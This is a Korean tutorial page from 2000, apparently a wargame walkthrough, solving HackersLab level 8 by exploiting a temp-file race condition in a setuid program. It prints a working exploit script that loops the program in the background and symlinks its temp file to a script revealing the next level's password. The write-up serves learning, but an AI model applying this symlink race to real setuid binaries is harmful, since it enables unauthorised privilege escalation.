강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

10. 레벨 9를 향하여

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

icon01.giftitle09.gif

기 까지 오느라고 얼마나 고생이 많았을까?? 아니라고 재미 있었다고.. 이제 여러분은 리눅스가 우습고 해커라는 것이 별거 아니구나라는 오만방자한 생각을 했을 지도 모른다. 혹은 자기가 guru(구루)나 wizard(위자드), god(지오디)가 된것처럼 너스레를 떨고 다닐지도 모르겠다. 아니면 자칭 해커라고 하면서 주위를 공포에 떨게 하고 있을지도... 암튼 어쨋든 좋다. 분명한 것은 여러분의 내공은 처음 보다 상당히 상승되어 있으며 여러분은 자신감에 무엇이든 할 수 있을 거라는 생각을 하고 있다. 맞는가?? 훌륭하다. 아니라고 해서 실망할 필요는 없다. 아니라고 생각할 때가 바로 시작할 때이다. 힘을 내자. 그러나... 해커즈랩의 본격적인 문제는 여기서 부터인 것 같다. 지금 까지는 초보들의 몸풀기에 지나지 않은 것 같다. $8. level8 문제 풀이 ######### # 문제 # ######### 이번부터는 해킹기법에 대한 이해가 필요하다. 한때 유명했던 8lgm 이 즐겨 발표했던 방법으로써 /usr/bin/ps2 를 이용하여 다음 레벨을 획득하여라. 힌트를 주자면 임시파일이 /var/tmp2 에 생성된다. 해커즈랩에 텔넷이나 데이터맨 프로그램으로 접속한다. login:level8 passwd:xxxxxxxx 유닉스계열의 서버는 대소문자의 구분을 확실하게 한다. [level8@drill level8]$ id uid=2008(level8) gid=2008(level8) groups=2008(level8), 9999(hackerzone) [level8@drill level8]$ whoami level8 자 일단 파일을 실행 시켜 보자. [level8@drill level8]$/usr/bin/ps2 위의 파일을 실행시키면 임시 파일이 생성된다고 했다. 확인해 보자. [level8@drill level8]$cd /var/tmp2 [level8@drill tmp2]$ls ps2.tmp 음~ 확실히 임시 파일이 생기는 구만 그 담에 몰 해야한다?? 8lgm이라는 해커집단이 발표했다는 해킹기술에 대해서 알아봐야 겠구만... 8lgm이라는 해커집단이 발표한 race condition에서 대해서는 본인이 인터넷에서 발췌한 글을 실어 놓았다. 여러모로 어려운 내용이 많을 것이다. 이 글은 그 중에서도 가장 쉬운 것을 골랐다. 찬찬히 읽어 보고 이해하기 바란다.(본인이 설명하는 것보다 더 훌륭하게 설명을 해 놓았다.) 자 그럼 문제를 풀어 나가 볼까요?? 실질적으로 이 문제를 풀기 위한 원리는 간단하다. (그러나 이 버그를 알아내기 까지의 과정이란...) /usr/bin/ps2란 파일이 실행될 때 /var/tmp2/ps2.tmp란 임시 파일이 생긴다. 1.따라서 우리는 임의의 쉘스크림트나 프로그램을 짜 놓는다. 2.그 안에는 일단 /usr/bin/ps2란 파일을 백그라운드로 실행시킨다. 3.ps2.tmp란 파일과 경쟁을 벌일 파일을 만든다. 4.우리가 목표로 하는 /bin/pass라는 명령을 담은 또다른 쉘스크립트를 ps2.tmp와 링크를 걸어 놓는다. 5.성공 여부를 확실하게 판단하기위해 루프를 돌린다. 이렇게 하고 임의의 쉘스크립트를 실행시키게 되면 1./usr/bin/ps2란 파일이 백그라운드로 실행되면서 /var/tmp2/ps2.tmp란 임시 파일을 생성하려 한다. 2.그러나 ps2.tmp파일 생성과 경쟁하는 명령이 실행된다. 3.루프가 도는 경쟁상태에서 ps2.tmp파일이 생성되기 이전에 링크가 걸린 쉘스크립트가 level9의 권한으로 실행된다. 4.빠르게 지나가는 level9의 패스워드를 재빨리 노트에 적는다. 쉘스크립트를 만들어 보자. 우선 우리가 목표로 하는 쉘스크립트 부터 만들어 보자. [level8@drill level8]$cd /home/level8/tmp [level8@drill tmp]$cat > .racecon #!/bin/sh /bin/pass ^D 해석)우리가 최종 목표로 하는 파일은 당근히 level9의 패스워드겠지요. 실행될 수 있도록 실행 권한을 준다. [level8@drill tmp]$chmod 700 ./.racecon 경쟁 관계에 놓일 쉘스크립트를 작성한다. [level8@drill tmp]$cd /var/tmp2 [level8@drill tmp2]$cat > .racecodition #!/bin/sh while true <-- do while문입니다.(for문을 써도 무방) 루프(반복해서 실행) 실행한다는 얘기죠. do /usr/bin/ps2 & <-- ps2파일을 백그라운드(&)로 실행시킨다는 뜻이죠. rm -rf /var/tmp2/ps2.tmp <--ps2.tmp파일을 지우겠다는 뜻이죠. ln -sf /home/level8/tmp/.racecon /var/tmp2/ps2.tmp <-- 그리고 목표 파일에 링크를 걸어 놓습니다. done ^D 실행될 수 있도록 실행 권한을 준다. [level8@drill tmp]$chmod 700 ./.racecondition 실행시켜 본다 [level8@drill tmp]$./.racecondition file exit file exit file exit Congratulations !!! your race attack success ~ level9 password is XXXXX file exit file exit file exit 임시 파일이 생성되어 있다. [level8@drill tmp2]ls -al total 253 drwxrwxrwx 2 root root 254976 May 24 18:31 . . . . . . lrwxrwxrwx 1 level8 level8 25 May 24 18:31 ps2.tmp -> /home/level8/tmp/.racecon 해석)따라서 ps2파일이 실행되면서 만든 ps2.tmp파일은 링크가 걸려 있는 우리의 목적 파일 .racecon을 실행시키게 됩니다. ps2파일은 set uid가 걸려 있기 때문에 이 파일이 실행될 동안 우리는 순간적으로 level9가 되어 있겠죠 level9의 권한으로 .racecon을 실행했으니... 어떤 레벨의 패스워드가 나올까요?? 당연히 level9의 패스워드가 출력됩니다.*^^* 여러분 대단히 수고 많으셨습니다. 부족한 제글을 끝까지 읽고 공부해 주셔서 감사합니다. 해커즈랩의 문제를 풀어 가면서 리눅스나 유닉스에 대한 기초 명령어를 습득하는 것도 중요하지만 우리가 무심코 만들었거나 지나쳤던 사소한 것들이 보안에는 치명적이라는 것도 배울 수 있었습니다. 저의 부족함으로 더 이상의 레벨은 설명을 못드리는 것을 죄송하게 생각합니다. 저도 다음 레벨의 문제를 풀기 위해서 많은 공부를 하고 있습니다. 여러분도 열심히 노력하셔서 많은 사람들에게 자신이 알고 있는 지식을 공유해 주셨으면 합니다. 앞으로의 레벨 페이지는 여러분들의 것입니다. 그리고 끝으로 진정한 해커가 되기 위한 방법을 묻는 분들이 많으셨는데요. 제 생각에는 우선 해커로서의 확실한 도덕적 윤리관을 가지고 있어야 하고요 C, C++, 어셈블리, 시스템이나 운영체제에 관한 공부를 지속적으로 해야 한다는 생각이 듭니다. 그 어떤 것도 손쉽게 얻어지는 것은 없습니다. 피나는 노력과 열정만이 여러분을 진정한 실력자의 길로 인도한다는 것을 명심하시고 열심히 노력하세요. 감사합니다.
===================================================================================================

이 사이트에서 제공하고 있는 내용은 개인의 경험을 바탕으로 제공되고 있습니다.
그러므로 이용시 예기치 않은 오류가 발생할 수도 있음을 알려드립니다.
여러분이 도움 및 정보를 바라신다면 저에게 메일을 보내 주십시요. 감사합니다.

www.dacker.wo.to copyleft (c) 2000 by park byoung-seo all lefts reserved

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,063 명
  • 현재 강좌수 :  35,953 개
  • 현재 접속자 :  237 명